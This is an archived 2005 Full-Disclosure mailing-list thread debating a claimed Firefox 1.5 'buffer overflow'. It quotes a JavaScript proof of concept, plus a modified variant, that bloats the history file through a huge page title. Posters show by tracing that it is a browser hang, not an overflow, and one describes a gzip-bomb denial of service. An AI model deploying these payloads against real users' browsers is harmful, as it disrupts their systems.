[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <439AD4D4.9090903@heapoverflow.com>
Date: Sat Dec 10 13:15:42 2005
From: ad at heapoverflow.com (ad@...poverflow.com)
Subject: Firefox 1.5 buffer overflow (poc) - more buffer
"overflows" waiting to be discovered
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
have 2,5Gb DDR2 ram and nothing happen here, it loads during 1 min, then
all is fine.. I guess the sploit coder had 64 Mb edo :D :D
F?sforo wrote:
> It works here.
>
> seems it depends on how much ram you've. i got 2 blue screens, after
> changed the code a bit. the first one was about MEMORY_MANAGEMENT and
> the second one was a PAGE_FAULT_IN_NONPAGED_AREA. And both occurs
> without user interaction, the second one i just've opened firefox, not
> the bug file (maybe cache ?)
>
> ps: i've 1Gb of ram
>
> <html><head><title>heh</title><script type="text/javascript">
> function ex() {
> var buffer = "";
> for (var i = 0; i < 5000; i++) {
> buffer += "A";
> }
> var buffer2 = buffer;
> var buffer3 = buffer2;
> for (i = 0; i < 500; i++) {
> buffer2 += buffer;
> for (i = 0; i < 500; i++) {
> buffer3 += buffer2;
> }
> }
> document.title = buffer2;
> }
> </script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
> </a></body></html>
>
>
>
> 2006/1/31, ezdy <ezdy@....com>:
>
>>and theres no reason for it to be working.
>>first let's see what's going on - i loaded provided html in firefox
>>and quitted it.
>>even quitting firefox took a while, but only slightly longer than usual.
>>after starting firefox again, it indeed didn't load, stuck in some
>>kind of disk loop ignoring all macosx ui events.
>>but not swapping. alright, that's strange:
>>
>>ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox-
>>bin
>>ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |
>>tail -100
>>...
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "0"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "0"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL lseek(0x18,0x21a000,0)
>> 7616 firefox-bin RET lseek 0
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "0"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "\\"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL lseek(0x18,0x21c000,0)
>> 7616 firefox-bin RET lseek 0
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "A"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "A"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL lseek(0x18,0x21e000,0)
>> 7616 firefox-bin RET lseek 0
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>>
>>this repeats virtually ad-infinitum until end of history.dat is reached.
>>note that there is never allocated any memory-the same buffer is
>>always used, thus no memory leak.
>>firefox is stuck in loop (and eventually starts, since the string is
>>finite, in my case
>>about 30M) but it took way too longer to load. im not a windows user
>>but since mac is only
>>step away from it (you know apple, let's take win95 and freebsd and
>>mix it together) my guess is
>>it is the same situation of keeping main thread busy and events
>>cannot be passed down, eventualy
>>leading to "application is not responding" killbox.
>>
>>for Z1PL0CK:
>>Don't stop, keep posting fake "buffer overflows" of #darknet
>>trademonkeys (this one actually looked funny in the beggining).
>>This time you made it to get /.ed which is not a bad start, but yo
>>gonna fly higher!
>>
>>Because this bug got killed, i've something better for you:
>>dd if=/dev/zero a 2GB file and gzip it. then just write a php script
>>which sets content-encoding: gzip and
>>fpassthru the file. safari rendered 1.2gb system unresponsible in 5
>>seconds, firefox in about 30. both crashed
>>on "overflows" like this:
>>
>>Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)
>>failed (error code=3)
>>Safari(233,0xa000ed68) malloc: *** error: can't allocate region
>>Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to
>>debug
>>
>>for those interested i can send coredumps
>>
>>now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly
>>pollute browser's heap with shellcode: yah, this
>>is a good way).
>>
>>sheesh. is this some 'who invent a stupidier dos attack against
>>browser' contest of some sort or what?
>>
>>On 8.12.2005, at 20:51, Matt wrote:
>>
>>
>>>Didn't work here, just made the system go a bit sluggish for a
>>>moment, as you would expect when dealing with a 2.5 million
>>>character string.
>>>
>>>Firefox :
>>>Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130
>>>Firefox/1.5
>>>Built with :
>>>gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
>>>Window manager:
>>>KDE 3.5.0
>>>
>>>Possibly it is crashing the Windows API ?
>>>
>>>--
>>>Matt
>>>
>>>
>>>On 12/9/05, Ron <iago@...hallalegends.com > wrote:I was also unable
>>>to replicate it, on Firefox 1.5 i386 Linux EN
>>>
>>>ad@...poverflow.com wrote:
>>>
> nor a fake , nor you really dont know what is a buffer overflow,
>>>>
>>>>but for
>>>>
> sure here on my firefox 1.5 EN, the client is much longuer to
>>>>
>>>>load to
>>>>
> the next boot but it reloads fine without exceptions and there is
> nothing about a security bug here...
>
>
>
>><!-- Firefox 1.5 buffer overflow
>
>>Basically firefox logs all kinda of URL data in it's history.dat
>>>>
>>>>file,
>>>>
>>this little script will set a really large topic and Firefox
>>>>
>>>>will then
>>>>
>>save that topic into it's history.dat.. The next time that
>>>>
>>>>firefox is
>>>>
>>opened, it will instantly crash due to a buffer overflow -- this
>>>>
>>>>will
>>>>
>>happen everytime until you manually delete the history.dat file
>>>>
>>>>-- >which
>>>>
>>most users won't figure out.
>
>>this proof of concept will only prevent someone from reopening
>>their browser after being exploited. DoS if you will. however, code
>>execution is possible with some modifcations.
>
>>Tested with Firefox 1.5 on Windows XP SP2.
>
>>ZIPLOCK <sickbeatz@...il.com>
>
>>-->
>><html><head><title>heh</title><script type="text/javascript">
>>function ex() {
>> var buffer = "";
>> for (var i = 0; i < 5000; i++) {
>> buffer += "A";
>> }
>> var buffer2 = buffer;
>> for (i = 0; i < 500; i++) {
>> buffer2 += buffer;
>> }
>> document.title = buffer2;
>>}
>></script></head><body>ZIPLOCK says <a href="javascript:ex
>>>>
>>>>();">CLICK ME
>>>>
>></a></body></html>
>
>>>
>>>_______________________________________________
>>>Full-Disclosure - We believe in it.
>>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>>Hosted and sponsored by Secunia - http://secunia.com/
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>Hosted and sponsored by Secunia - http://secunia.com/
>>
> --
> ----------------------------------------------
> "O caminho do homem de bem ? cercado de
> todos os lados pelas iniq?idades do ego?smo
> e tirania dos homens maus. Aben?oados os que,
> em nome da caridade e boa vontade, conduzem
> os fracos pelo vale das sombras, pois ele ?
> o guardi?o de seu irm?o e o que encontra os
> filhos perdidos. E eu vou atacar com vingan?a
> e f?ria os que tentarem envenenar e destruir
> meus irm?os. E quando minha vingan?a se abater
> sobre eles, saber?o que eu sou o Senhor."
> (Ezequiel, 25, 17)
> ------------------------------------------------------------------------
> ------------------------------------------------------------------------
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
iQIVAwUBQ5rU06+LRXunxpxfAQL01xAAsul2yJ5sBYweCOYD9C4N0og4vYjU7QG8
qD4QDU6FFsFpMoK6J/ZBfXI+hx17s2lhpD/5EuhCljvkjCg1r0N51nML5zW703kU
DSDQ8VS08IHhcZZEYT+i/JMqs0WCXtnSMQVSBYr/apOD8u2NlzJ27+5xyi47MHsf
l1Rz9rBDzVw8/jVhWqykGxseTtI2u9+9EIbWODf7hGyW/v4XbkjzG3KXwEkqYIEa
ru6uHclDTMlo7f6Rzzf69pUgkl3P/JUNnDjVQgibJWhrw/EiC485smG4QYh38ET+
jkROka6ExJV8jEXFeF2sD++++0ApVz7zfYZ0lZhC0mZl+QjBLC7rN15BMGBnZecv
tOUGI1b3vSaBw2DSo9RUIYsVeHd7UfqFbxC/WMiOhnue/lhLc3uu9ERSFCYmcpPe
NpW5LVTSxcsdEf+n3zsznCAwK/vOsSAtAlmMka6k94wATMWTwpAI+40RHuNU6iaG
SlmohFgsd2I6yt3DGLo7fDzAlk6kxtfnvwK9yUQs/WzH5FCtvBQMM1myWXas2cWE
ZppvEMR4dKJv0ranv+m6e1eFWbbgLzeeRmQqG6j7z11DajYR/l8CfpDYHM2SHR+O
nQeG763GgI63s2S8B3EG3sx9usu4cx4uLillhpxhJmFRxVmvNwFiEjEw9cFP5siU
2aqKfo3z3Mw=
=wnQw
-----END PGP SIGNATURE-----
Powered by blists - more mailing lists